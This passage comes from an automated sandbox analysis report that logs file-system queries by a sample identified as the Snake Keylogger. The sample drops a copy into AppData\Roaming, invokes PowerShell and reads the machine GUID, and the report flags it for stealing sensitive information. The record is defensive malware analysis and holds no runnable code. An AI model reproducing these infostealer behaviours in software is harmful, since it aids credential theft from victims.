Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\DUBAI-REGULAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Users\user\Desktop\2i3Lj7a8Gk.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Queries volume information: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Queries volume information: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

